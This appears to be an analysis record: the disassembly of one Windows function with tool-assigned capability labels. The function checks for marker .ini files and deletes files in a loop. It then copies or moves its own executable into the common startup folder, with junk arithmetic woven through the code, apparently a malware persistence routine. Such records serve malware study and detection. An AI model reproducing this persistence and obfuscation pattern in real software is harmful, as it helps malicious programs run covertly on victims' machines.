Function at 0x40df50
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x45e540]
xor eax, esp
mov dword [esp + 0x300], eax
push ebx
push ebp
push esi
mov esi, dword [0x45cbe4]
mov eax, 0x220de0d
imul esi
mov eax, dword [0x45cbd0]
sar edx, 0xd
mov ecx, edx
push edi
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbcc]
lea edi, [eax + edx]
mov eax, dword [0x45cbe0]
imul edi, edi, 0xd6486
imul eax, eax, 0xd5e3b
add edi, eax
mov eax, dword [0x45cbdc]
imul eax, eax, 0x69fe2
add edi, eax
mov eax, 0x662e995b
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x331da7cd
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
mov esi, dword [str._r_____r____]
add edi, ecx
add eax, edi
mov edi, dword [0x45cbd8]
mov dword [0x45cbdc], eax
mov eax, dword [0x45cbd4]
lea ebx, [eax + edx]
mov eax, 0x98eb62a3
imul ebx, ebx, 0xa4579
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9a8b8787
imul esi
add edx, esi
imul esi, esi, 0xa0437
sar edx, 0x12
mov ebp, edx
add ebx, edx
mov eax, 0x331da7cd
imul edi
sar edx, 0x11
shr ebp, 0x1f
mov eax, edx
shr eax, 0x1f
add ebp, ebx
add eax, edx
sub ebp, eax
add ebp, esi
sub ebp, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45cbe4], ebp
call fcn.004303ed
add esp, 8
cmp eax, 0xffffffff
je 0x40e50a
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.004303ed
add esp, 8
cmp eax, 0xffffffff
je 0x40e50a
mov ecx, dword [0x45cbd0]
mov eax, 0x99335f19
imul ecx
add edx, ecx
sar edx, 0x13
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x69fe2
add esi, edx
mov eax, 0x4d49d1e9
imul ecx
sar edx, 0x11
add esi, edx
mov edi, edx
mov eax, 0x3b8e0831
imul ecx
mov eax, dword [0x45cbe0]
mov ecx, dword [0x45cbe4]
imul eax, eax, 0x50c98
sar edx, 0x11
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
mov eax, 0x662e995b
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0x104
lea edx, [esp + 0x214]
push edx
sub esi, ecx
push 0
mov dword [0x45cbc8], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.00430e50
push str..exe
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x20]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.00430051
mov ecx, dword [0x45cbd0]
mov edi, dword [0x45cbe8]
mov eax, 0x9a8b8787
imul edi, edi, 0x857ee
imul ecx
add edx, ecx
mov ecx, dword [0x45cbd8]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x4d49d1e9
imul ecx
imul ecx, ecx, 0xf08ec
sar edx, 0x11
mov ebx, edx
shr ebx, 0x1f
add edi, edx
add ebx, edi
add ebx, ecx
mov ecx, dword [0x45cbdc]
mov eax, 0x220de0d
imul ecx
add esp, 0x18
sar edx, 0xd
mov eax, dword [0x45cbe4]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa0576
sub ebx, ecx
add ebx, edx
push 0
sub ebx, eax
push 0x18
lea eax, [esp + 0x118]
push eax
sub ebx, 0x69fe2
push 0
mov dword [0x45cbd0], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e1d6
sub eax, ecx
push esi
lea ecx, [esp + eax + 0x114]
push 0x44d274
push ecx
call fcn.00430051
mov esi, dword [0x45cbe8]
mov edi, dword [0x45cbe0]
mov eax, 0x7abb0ab
imul esi
sar edx, 0xe
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x63b1cbb5
imul edi
imul edi, edi, 0xa4579
sar edx, 0x12
add ebx, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0x69fe2
shr ecx, 0x1f
add ecx, ebx
add ecx, edi
mov edi, dword [0x45cbd4]
sub ecx, edx
mov eax, 0x3b8e0831
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x331da7cd
imul edi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa0437
sub ecx, eax
add ecx, edx
add esp, 0xc
mov dword [0x45cbd8], ecx
xor ebx, ebx
jmp 0x40e290
mov ecx, dword [0x45cbd8]
mov edi, dword [0x45cbd4]
mov esi, dword [0x45cbe8]
lea ecx, [ecx]
mov eax, dword [0x45cbd0]
imul ecx, ecx, 0xd5e3b
imul edi, edi, 0x857ee
lea ebp, [esi + eax]
mov eax, 0x98eb62a3
imul ebp, ebp, 0x6a03b
imul esi
add edx, esi
sar edx, 0x13
mov esi, edx
add ebp, edx
shr esi, 0x1f
add esi, ebp
add esi, ecx
mov ecx, dword [0x45cbcc]
mov eax, 0x9a8b8787
imul ecx
add edx, ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x69fe2
sub esi, edi
sub esi, ecx
lea eax, [esp + 0x10]
sub esi, edx
push 0
push eax
mov dword [0x45cbe0], esi
call fcn.004303ed
add esp, 8
cmp eax, 0xffffffff
je 0x40e31b
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebx
cmp ebx, 0x64
jl 0x40e27b
mov esi, dword [0x45cbd0]
mov edx, dword [0x45cbd8]
mov ebx, dword [str._r_____r____]
lea edi, [edx + esi]
imul esi, esi, 0xa0437
mov ecx, dword [0x45cbc8]
imul edi, edi, 0x898dd
mov eax, 0x99335f19
imul ebx
add edx, ebx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x63b1cbb5
imul ecx
sar edx, 0x12
mov ebp, edx
add edi, edx
shr ebp, 0x1f
add ebp, edi
mov edi, dword [0x45cbe4]
mov edx, edi
imul edx, edx, 0x69fe2
sub ebp, edx
mov eax, 0x331da7cd
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
sub ecx, esi
mov esi, dword [esp + 0x318]
test esi, esi
mov dword [0x45cbe8], ecx
je 0x40e3a9
cmp esi, 2
jne 0x40e478
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x18]
push ecx
call edi
test eax, eax
jne 0x40e466
mov ecx, dword [0x45cbcc]
mov ebx, dword [0x45cbe8]
mov eax, 0x98eb62a3
imul ebx, ebx, 0x857ee
imul ecx
add edx, ecx
mov esi, dword [0x45cbd4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x898dd
sub ebx, eax
add ebx, edx
mov eax, 0x220de0d
imul esi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x220de0d
imul ecx
sar edx, 0xd
mov ecx, edx
add ebx, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xa0576
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x331da7cd
imul esi
sar edx, 0x11
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
push 6
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [str._r_____r____], eax
call edi
mov eax, 0xfffffffe
jmp 0x40e50d
mov edi, dword [0x45cbe4]
mov ebx, dword [str._r_____r____]
mov ecx, dword [0x45cbe8]
mov edx, dword [0x45cbcc]
imul ecx, ecx, 0x857ee
imul edi, edi, 0x69fe2
mov eax, 0x63b1cbb5
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
sub ebp, ecx
mov ecx, dword [0x45cbe0]
imul ecx, ecx, 0x898dd
add ebp, edi
add ebp, ecx
mov ecx, dword [0x45cbd4]
mov eax, 0x662e995b
imul ecx
sar edx, 0x12
add ebp, edx
mov edi, edx
mov eax, 0x331da7cd
imul ecx
shr edi, 0x1f
sar edx, 0x11
add edi, ebp
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ebx
add eax, 0x6a03b
cmp esi, 1
mov dword [0x45cbcc], eax
je 0x40e4f1
cmp esi, 2
jne 0x40e506
push 0
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e50d
or eax, 0xffffffff
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0042fe7d
add esp, 0x304
ret